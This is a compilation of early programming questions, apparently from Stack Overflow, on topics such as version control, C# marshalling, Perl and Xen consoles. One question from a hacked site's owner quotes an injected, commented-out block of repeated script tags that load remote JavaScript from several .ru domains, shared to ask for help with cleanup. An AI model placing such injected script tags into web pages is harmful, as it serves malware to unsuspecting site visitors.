What is a good web-based Grid that accepts Excel clipboard data?

What are some web-based knowledge-base solutions?

I've used a WordPress blog and a Screwturn Wiki (at two separate jobs) to store private, company-specific KB info, but I'm looking for something that was created to be a knowledge base. Specifically, I'd like to see: - Free/low cost - Simple method for users to subscribe to KB (or just sections) to get updates - Ability to do page versioning/audit changes - Limit access to certain pages for certain users - Very simple method of posting/editing articles - Very simple method of adding images to articles - Excellent (fast, accurate) searching abilities - Ability to rate and comment on articles I liked using the Wordpress blog because it allowed me to use [Live Writer][1] to add/edit articles and images, but it didn't have page versioning (that I could see). I like using Screwturn wiki because of it's ability to track article versions, and I like it's clean look, but some non-technical people balk at the input and editing. [1]: http://get.live.com/

Version Control. Getting started...

So I know I need to implement version control, even for just the developing I do at home. My issue is I have read about how great Subversion is for the past couple years. I was about to dedicate myself to learning this on the side. But now I am starting to read about Git being the up and coming version control system. So should I hold of and see which one comes out on top? Are they both winners in certain areas? One issue I noticed with Git, is there is not much for a GUI, which is important to me. Also, wouldn't mind suggestions on how to get started with one or the other. (tutorials, etc.)

When you execute a SQL query, you have to clean your 'strings' or users can execute malicious SQL on your website. I usually just have a function escape_string(blah), which: - Replaces escapes (\) with double escapes (\\). - Replaces single quotes (') with an escaped single quote (\'). Is this adequate? Is there a hole in my code? Speedy library to reliably do this for me?

In a Win32 environment, you can use the GetLastInputInfo API call [see msdn doc][1]. Basically, this method returns the last tick that corresponds with when the user last provided input, and you have to compare that to the current tick to determine how long ago that was. Xavi23cr has a good example for C# at [codeproject][2]. Any suggestions for other environments?

Organizing Documents

I’ve got a lot of PDFs/CHMs and they are getting out of control. So I’ve decided to do something about it. First I hit Google and didn’t get very far - the range of programs are very naff. Then I hit [metafilter][1] and got a lot more results. From there I learnt there is a lot of programs that do exactly what I want, look stylish and some are even free, but unfortunately they are all written for the Mac, except one that doesn’t do what I want (it does it all online I want it offline). All I want is a program that you can point at a directory and that will plow through them and list your documents. It can make guesses at content by keyword and the list the abstract (if it has one of course) and allow me to tag it. For instance, does the PDF book [Pragmatic Unit Testing in C#][2] belong in Unit Testing folder, the C# folder or the Pragmatic Bookshelf folder? It doesn’t it belongs in all three. Apparently iTunes does what I want it to, but I don’t want to install a music program to organize my PDF’s - it doesn’t seem right… Your suggestions?

Does anyone know what the *correct* keyboard shortcut is to view all open documents in VS 2008?

Xen - Can't get a Console to VMs

I've got the `extra = '2 console=xvc0'` line in my /etc/xen/**hostname_here**.cfg file like they say, but am not able to get a console on it. If I statically assign an IP to the VM I can SSH to it, but for now I need to be able to use DHCP to give it an address (and since that's what I'm trying to debug, there's the problem). I know I've got a free DHCP address (although I'm getting more at the moment), so I don't think that's the problem. I've looked on Google and the Xen forums to no avail as well. Any ideas?

Is it better to create Model classes, or just stick with generic database utility class?

We have a simple utility class in-house for our database calls (a light wrapper around ADO.Net), but I am thinking of creating classes for each database/object. Would it be smart to do so, or would it only benefit if we were using the full MVC framework for ASP.Net? So we have this: SQLWrapper.GetRecordset(connstr-alias, sql-statement, parameters); SQLWrapper.GetDataset(connstr-alias, sql-statement, parameters); SQLWrapper.Execute(connstr-alias, sql-statement, parameters); Thinking of doing this: Person p = Person.get(id); p.fname = "jon"; p.lname = "smith"; p.Save(); or for a new record - Person p = new Person(); p.fname = "Jon"; p.lname = "Smith"; p.Save(); p.Delete(); Would this be smart, or would it be overkill. I can see the benefit for reuse, changing database, and maintenance/readability.

Is it better to create Model classes, or just stick with generic database utility class? === We have a simple utility class in-house for our database calls (a light wrapper around ADO.Net), but I am thinking of creating classes for each database/object. Would it be smart to do so, or would it only benefit if we were using the full MVC framework for ASP.Net? So we have this: SQLWrapper.GetRecordset(connstr-alias, sql-statement, parameters); SQLWrapper.GetDataset(connstr-alias, sql-statement, parameters); SQLWrapper.Execute(connstr-alias, sql-statement, parameters); Thinking of doing this: Person p = Person.get(id); p.fname = "jon"; p.lname = "smith"; p.Save(); or for a new record - Person p = new Person(); p.fname = "Jon"; p.lname = "Smith"; p.Save(); p.Delete(); Would this be smart, or would it be overkill. I can see the benefit for reuse, changing database, and maintenance/readability.

ARBG to RGB

Let's say that we have an ARGB color Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. When this is painted on top of an existing color, the colors will blend. So blended with white, the resulting color is Color.FromARGB(255, 162, 133, 255); The solution should work like this Color blend = Color.White; Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. Color rgb = ToRGB(argb, blend); //Same as Color.FromARGB(255, 162, 133, 255); What is ToRGB's implementation?

Setting Objects to Null/Nothing after use in Dot Net

I understand that it in dot net it is essential to dispose of any instances of objects that implement the Idisposable interface to release resources. I also Know that when an object goes out of scope it is marked for collection ready for the next pass of the garbage collector (although this may take time). However my question is should you set all the objects to null (nothing in vb.net) once you have finished with them? Will this speed up the system releasing the memory as it does not have to work out that it is no longer in scope? MSDN articles never do this in examples and currently I do this as I cannot see the harm however I have come across a mixture of opinions so any comments are useful.

What's the best setup for Mono development on Windows?

I started trying to play with Mono, mostly for fun at the moment. I first tried to use the VS plugin that will convert a csproj into a makefile, but there seemed to be no version available for VS2005. I also read about the MonoDevelop IDE, which sounded nice. Unfortunately, there's no pre-fab Windows package for it. I tried to follow some instructions to build it by combining dependencies from other semi-related installs. It didn't work, but that's probably because I'm a Windows-oriented guy and can barely spell "makefile". So, my question is this: what's the lowest-energy way to get up and running to try some Mono-based development on Windows? thanks! Chris

How should I translate from screen space coordinates to image space coordinates in a WinForms PictureBox?

I have an application that displays an image inside of a WinForms PictureBox control. The SizeMode of the control is set to Zoom so that the image contained in the picture box will be displayed in an aspect-correct way regardless of the dimensions of the PictureBox. This is great for the visual appearance of the application because you can size the window however you want and the image will always be displayed using its best fit. Unfortunately, I also need to handle mouse click events on the picture box and need to be able to translate from screen-space coordinates to image-space coordinates. It looks like it's easy to translate from screen space to control space, but I don't see any obvious way to translate from control space to image space (i.e. the pixel coordinate in the source image that has been scaled in the picture box). Is there an easy way to do this, or should I just duplicate the scaling math that they're using internally to position the image and do the translation myself?

Reading a C/C++ data structure in C# from a byte array

What would be the best way to fill a C# struct from a byte[] array where the data was from a C/C++ struct? The C struct would look something like this (my C is very rusty): typedef OldStuff { CHAR Name[8]; UInt32 User; CHAR Location[8]; UInt32 TimeStamp; UInt32 Sequence; CHAR Tracking[16]; CHAR Filler[12]; } And would fill something like this: [StructLayout(LayoutKind.Explicit, Size = 56, Pack = 1)] public struct NewStuff { [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] [FieldOffset(0)] public string Name; [MarshalAs(UnmanagedType.U4)] [FieldOffset(8)] public uint User; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] [FieldOffset(12)] public string Location; [MarshalAs(UnmanagedType.U4)] [FieldOffset(20)] public uint TimeStamp; [MarshalAs(UnmanagedType.U4)] [FieldOffset(24)] public uint Sequence; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 16)] [FieldOffset(28)] public string Tracking; } What is best way to copy OldStuff to NewStuff, if OldStuff was passed as byte[] array? I'm currently doing something like the following, but it feels kind of clunky. GCHandle handle; NewStuff MyStuff; int BufferSize = Marshal.SizeOf(typeof(NewStuff)); byte[] buff = new byte[BufferSize]; Array.Copy(SomeByteArray, 0, buff, 0, BufferSize); handle = GCHandle.Alloc(buff, GCHandleType.Pinned); MyStuff = (NewStuff)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(NewStuff)); handle.Free(); Is there better way to accomplish this?

Put another way, I want my main non GUI-thread to be the owner of the GUI-thread and not vice versa.

Well, the just fired up GUI works fine, as expected. Example of components. One hasn't nothing to do with GUI, whilst the second fires up a cute windows with pink fluffy bunnies in them. public class MyComponent1: IComponent { public string DoStuff(...) { // write something to the database } } public class MyComponent2: IComponent public void DoStuff() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form()); // I want the thread to immediately return after the GUI // is fired up, so that my main thread can continue to work. } } I have tried this with no luck. public void DoStuff() { new Thread(ThreadedInitialize).Start() } private void ThreadedInitialize() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form()); } Is it possible to spin off a GUI and return after Application.Run()?

How to Test Web Code

Does anyone have some good hints for writing test code for database-backend development where there is a heavy dependency on state. Specifically, I want to write tests for code that retrieve records from the database, but the answers will depend on the data in the database (which may change over time). Do people usually make a separate development system with a 'frozen' database so that any given function should always return the exact same result set? I am quite sure this is not a new issue, so I would be very interested to learn from other people's experience. Are there good articles out there that discuss this issue of web-based development in general? I usually write PHP code, but I would expect all of these issues are largely language and framework agnostic.

I am migrating to JXTA 2.5 and in the process I am trying to clean up a lot of my use of JXTA. For the most part, I approached JXTA with a "just make it work" attitude. I used it to jumpstart creating and managing my peer-to-peer overlay network and providing basic communication services. I would like to use it in a more "JXTA" way since I am making changes to move to 2.5 anyway. My first step would be a basic creation of a custom PeerGroup. I see some new new mechanisms that are using the META-INF.services infrastructure of Java. Should I be listing a related PeerGroup implementing object here with a GUID in net.jxta.platform.Module? As I understand it, if I do this, when a group with a spec ID matching the GUID is encountered and joined or created it should automatically use the matching object. I should be able to just manually tie a PeerGroup object to the group but this new method using META-INF seems to be a lot easier to manage. Does anyone have any pointers or examples of using this infrastructure for PeerGroup implementation? Also, some general information on the META-INF.services mechanism in Java would be helpful.

An executable Python app

Python works on multiple platforms and can be used for desktop and web applications, thus I conclude that there is some way to compile it into an executable for Mac, Windows and Linux. The problem being I have no idea where to start or how to write a GUI with it, can anybody shed some light on this and point me in the right direction please?

Incomplete results with Turkish characters in Indexing Service

*Finally I get to post my **ı**'s and **İ**'s as promised...* I've found that MS Indexing Service returns incomplete results when searching for documents with Turkish content. It seems to choke especially regarding the (incorrectly-named) [4I problem](http://en.wikipedia.org/wiki/Turkish_dotted_and_dotless_I). Apparently, MS has fixed this problem with a Windows 2000 <http://support.microsoft.com/kb/325333> service pack, but the bug seems to be resurrected with Windows XP & 2003. Anybody uses Indexing Service in their line of work? Similar problems with other non-English locales? Any solutions?

Indexing Service + MODI = Full-text over OCR? You wish!

Scenario: You have configured Indexing Service to index your files, which also include scanned images saved as hi-res TIFF files. You also have installed MS Office 2003+ and configured MS Office Document Imaging (MODI) correctly so you can perform OCR on your images and even embed the OCR'd text into TIFFs. Awesomeness: Indexing Service is able to index and find those TIFFs that you manually OCR'd and re-saved with text data (using MS Document Imaging tool). Suck(TM): Whatever you do, you cannot make the Indexing Service to OCR and index the TIFF files without text data. You scour the web, find out how to turn on MODI debugging, and see that CISVC *is* calling MODI but somehow nothing seems to happen. Hack: Turns out, Data Execution Prevention (DEP) which is deployed with Windows XP SP2 thinks MODI is malicious and refuses to let it do its magic. I have been able to remove the Suck(TM) by turning DEP off completely, but (even though DEP hasn't yet saved my posterior that I can remember) I found this solution to be inelegant (read: the customer's IT manager's gonna fry you, if xe hears about it). I'll share a better solution here, if I can come across it.

My website got hacked... What should I do?

My dad called me today and said people going to his website were getting 168 viruses trying to download to their computers. He isn't technical at all, and built the whole thing with a WYSIWYG editor. I popped his site open and viewed the source, and there was a line of Javascript includes at the bottom of the source right before the closing HTML tag. They included this file (among many others): http://www.98hs.ru/js.js <-- TURN OFF JAVASCRIPT BEFORE YOU GO TO THAT URL. So I commented it out for now. It turns out his ftp password was a plain dictionary word six letters long, so we think that's how it got hacked. We've changed his password to an 8+ digit non-word string (he wouldn't go for a passphrase since he is a hunt-n-peck typer). I did a [whois on 98hs.ru][1] and found it is hosted from a server in Chili. There is actually an e-mail address associated with it too, but I seriously doubt this person is the culprit. Probably just some other site that got hacked... I have no idea what to do at this point though as I've never dealt with this sort of thing before. Anyone have any suggestions? He was using plain jane un-secured ftp through webhost4life.com. I don't even see a way to *do* sftp on their site. I'm thinking his username and password got intercepted? **So, to make this more relevant to the community, what are the steps you should take/best practices you should follow to protect your website from getting hacked?** For the record, here is the line of code that "magically" got added to his file (and isn't in his file on his computer -- I've left it commented out just to make absolute sure it won't do anything on this page, although I'm sure Jeff would guard against this): <!--script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script--> [1]: http://whois.domaintools.com/98hs.ru

Reverse DNS in Ruby?

I'm in an environment with a lot of computers that haven't been properly inventoried. Basically, no one knows which IP goes with which mac address and which hostname.

Using ASP.NET Dynamic Data / LINQ to SQL, how do you have two table fields have a relationship to the same foreign key?

I am using ASP.NET Dynamic Data for a project and I have a table that has two seperate fields that link to the same foreign key in a different table. This relationship works fine in SQL Server. However, in the LINQ to SQL model in the ASP.NET Dynamic Data model, only the first field's relationship is reflected. If I attempt to add the second relationship manually, it complains that it "Cannot create an association "ForeignTable_BaseTable". The same property is listed more than once: "Id"." [This MSDN article][1] gives such helpful advice as * Examine the message and note the property specified in the message. * Click OK to dismiss the message box. * Inspect the Association Properties and remove the duplicate entries. * Click OK.

Using ASP.NET Dynamic Data / LINQ to SQL, how do you have two table fields have a relationship to the same foreign key? === I am using ASP.NET Dynamic Data for a project and I have a table that has two seperate fields that link to the same foreign key in a different table. This relationship works fine in SQL Server. However, in the LINQ to SQL model in the ASP.NET Dynamic Data model, only the first field's relationship is reflected. If I attempt to add the second relationship manually, it complains that it "Cannot create an association "ForeignTable_BaseTable". The same property is listed more than once: "Id"."

What is recursion and when should I use it?

One of the topics that seems to come up regularly on mailing lists and online discussions is the merits (or lack thereof) of doing a Computer Science Degree. An argument that seems to come up time and again for the negative party is that they have been coding for some number of years and they have never used recursion. So the question is: 1. What is recursion? 2. When would I use recursion? 3. Why don't people use recursion?

Safest way to iterate through the keys of a Perl hash?

If I have a perl hash with a bunch of (key, value) pairs, what is the preferred method of iterating through all the keys? I have heard that using `each` may in some way have unintended side effects. So, is that true, and is one of the two following methods best, or is there a better way? # Method 1 while (my ($key, $value) = each(%hash)) { # Something } # Method 2 foreach my $key (keys(%hash)) { # Something }

**Problem:** I have two spreadsheets that each serve different purposes but contain one particular piece of data that needs to be the same in both spreadsheets. This piece of data (one of the columns) gets updated in spreadsheet A but needs to also be updated in spreadsheet B. **Goal:** A solution that would somehow link these two spreadsheets together (keep in mind that they exist on two separate LAN shares on the network) so that when A is updated, B is automatically updated for the corresponding record. *Note that I understand fully that a database would probably be a better plan for tasks such as these but unfortunately I have no say in that matter. **Note also that this needs to work for Office 2003 and Office 2007

Speed Comparisons - Procedural vs. OO in interpreted languages

In interpreted programming languages, such as PHP and JavaScript, what are the repercussions of going with an Object Oriented approach over a Procedural approach? Specifically what I am looking for is a checklist of things to consider when creating a web application and choosing between Procedural and Object Oriented approaches, to optimize not only for speed, but maintainability as well. Cited research and test cases would be helpful as well if you know of any articles exploring this further. Bottom line: how big (if any) is the performance hit really, when going with OO vs. Procedural in an interpreted language?

Calling a Function From a String With the Function's Name in Python

What is the best way to go about calling a function given a string with the function's name in a python program. For example, let's say that I have a module foo, and I have a string whose contents are "bar". What is the best way to go about calling foo.bar()? I need to get the return value of the function, which is why I don't just use eval. I figured out how to do it by using eval to define a temp function that returns the result of that function call, but I'm hoping that there is a more elegant way to do this.

Can you force either a scalar or array ref to be an array in Perl?

I have a perl variable `$results` that gets returned from a service. The value is supposed to be an array, and `$results` should be an array reference. However, when the array has only one item in it, `$results` will be set to that value, and not a referenced array that contains that one item. I want to do a `foreach` loop on the expected array. Without checking `ref($results) eq 'ARRAY'`, is there any way to have something equivalent to the following: foreach my $result (@$results) { # Process $result } That particular code sample will work for the reference, but will complain for the simple scalar.

Why are SYSTEM and taskmgr.exe taking up 100% of my CPU?

I'm running 32-bit Windows 2003 R2 in VMware 6.0.3 on my Windows XP 32-bit host OS. I have run all the Windows updates, but haven't done any other tweaking. About once every hour (but not quite on a schedule) my CPU usage goes to 100%, slowing everything down for about 1 minute. When I can get taskmgr up, I see that usually a process called "SYSTEM" is using most of the CPU. Occasionally taskmgr itself is using up almost all of it. What is causing this, and how can I avoid it? The host machine is an older Pentium D with 3 gigs RAM. The VM is running from a relatively fast SATA drive. Memory usage in either the host or the guest doesn't seem to be a factor in whether or not these slowdowns will occur. thanks! Chris

.htaccess directives to *not* redirect certain URLs

I.e.: /appRoot/.htaccess app/ static/ By default every request to /appRoot/* is being rewritten to be picked up by app/webroot/index.php, where it's being analysed and corresponding controller actions are being invoked. This is done by these directives in .htaccess: RewriteBase /appRoot RewriteRule ^$ app/webroot/ [L] RewriteRule (.*) app/webroot/$1 [L] I now want to exclude a few directories like static/ from this rewriting. I tried with this *before* the Cake RewriteRules: RewriteCond $1 ^(static|otherDir).*$ [NC] RewriteRule (.*) - [L] It works in so far that requests are no longer rewritten, but now **all** requests are being skipped, even legitimate Cake requests which should not match ^(static|otherDir).*$. I tried several variations of these rules but can't get it to work the way I want.

Anyone soloing using fogbugz?

Is there anyone working solo and using fogbugz out there? I'm interested in personal experience/overhead versus paper. I am involved in several projects and get pretty hammered with lots of details to keep track of... Any experience welcome. (Yes I know Mr. Joel is on the stackoverflow team... I still want good answers :)

C# Convert Integers into Written Numbers

Is there an efficient method of converting an integer into the written numbers for example: String Written = IntegerToWritten(21); would return "Twenty One" Is there any way of doing this that doesn't involve a massive lookup table?

How can I make the browser see CSS and Javascript changes?

CSS and Javascript files don't change very often, so I want them to be cached by the web browser. But I also want the web browser to see changes made to these files without requiring the user to clear their browser cache. Also want a solution that works well with version control system such as Subversion.

How do you pack a visual studio c++ project for release?

I'm wondering how to make a release build that includes all necessary dll files into the .exe so the program can be run on a non-development machine without it having to install the microsoft redistributable on the target machine. Without doing this you get the error message that the application configuration is not correct and to reinstall.

C/C++ library for reading MIDI signals from a USB MIDI device

I want to write C/C++ programs that take input from a MIDI device. The MIDI device connects to my PC using a USB connector. I'm looking for a (C/C++ implemented) library that I can use to read the MIDI signals from the MIDI device through the USB port. I'm happy manipulating the MIDI data once I get it, I just don't want to have to implement the code for its capture. I'm planning on writing my code using the Bloodshed Dev-C++ IDE on Windows XP.

Displaying ad content from Respose.WriteFile()/ Response.ContentType

How would one display any add content from a "dynamic" aspx page? Currently I am working on using the System.Web.HttpResponse "Page.Response" to write a file that is stored on a web server to a web request. This would allow people to hit a url to the type http://www.foo.com?Image=test.jpg and have the image display in their browser. So as you may know this revolves around the use of Response.ContentType. By using Response.ContentType = "application/octet-stream"; I am able to display images of type gif/jpeg/png (all i have tested so far), bit tryung to display .swf or .ico files gives me a nice little error. using Response.ContentType = "application/x-shockwave-flash"; I can get flash files to play, but then the images are messed. So how do i **easily** choose the contenttype?

Big O, how do you calculate/approximate it?

Most people with a degree in CS will certainly know what [Big O stands for][1]. It helps us to measure how (in)efficient an algorithm really is and if you know in [what category the problem you are trying to solve lays in][2] you can figure out if it is still possible to squeeze out that little extra performance.* But I'm curious, how do *you* calculate or approximate the complexity of your algorithms? *: but as they say, don't overdo it, [premature optimization is the root of all evil][3], and optimization without a justified cause should deserve that name as well.

Peak detection of measured signal

We use a data acquisition card to take readings from a device that increases its signal to a peak and then falls back to near the original value. To find the peak value we currently search the array for the highest reading and use the index to determine the timing of the peak value which is used in our calculations. This works well if the highest value is the peak we are looking for but if the device is not working correctly we can see a second peak which can be higher than the initial peak. We take 10 readings a second from 16 devices over a 90 second period. My initial thoughts are to cycle through the readings checking to see if the previous and next points are less than the current to find a peak and construct an array of peaks. Maybe we should be looking at a average of a number of points either side of the current position to allow for noise in the system. Is this the best way to proceed or are there better techniques?

Timer-based event triggers

I am currently working on a project with specific requirements. A brief overview of these are as follows: * Data is retrieved from external webservices * Data is stored in SQL 2005 * Data is manipulated via a web GUI * The windows service that communicates with the web services has no coupling with our internal web UI, except via the database. * Communication with the web services needs to be both time-based, and triggered via user intervention on the web UI. The current (pre-pre-production) model for web service communication triggering is via a database table that stores trigger requests generated from the manual intervention. I do not really want to have multiple trigger mechanisms, but would like to be able to populate the database table with triggers based upon the time of the call. As I see it there are two ways to accomplish this. 1) Adapt the trigger table to store two extra parameters. One being "Is this time-based or manually added?" and a nullable field to store the timing details (exact format to be determined). If it is a manaully created trigger, mark it as processed when the trigger has been fired, but not if it is a timed trigger. _or_ 2) Create a second windows service that creates the triggers on-the-fly at timed intervals. The second option seems like a fudge to me, but the management of option 1 could easily turn into a programming nightmare (how do you know if the last poll of the table returned the event that needs to fire, and how do you then stop it re-triggering on the next poll) I'd appreciate it if anyone could spare a few minutes to help me decide which route (one of these two, or possibly a third, unlisted one) to take. Thanks in advance

ASP.NET Hosting Options

**I'm not trying to start a "which language is better" argument here, so please don't go there.** <br> I typically use PHP for most of my web development (mostly because hosting is cheap), but for various reasons I'm looking to use ASP.NET for a couple new projects. But one of the major reasons I've stayed away from ASP.NET up until now is the cost. I've seen some budget hosting options, but they always seem a little sketchy to me. From what I've generally found, that's just the way the hosting scene looks for ASP.NET unless you want to go dedicated. Does anyone have any good suggestions for a solid ASP.NET host with a good feature set and reliability for my money? Also, are there any options out there along the lines of Amazon's Elastic Compute Cloud? And yes, I know... Mono. I'm talking about *Windows* based "grid" hosting options?
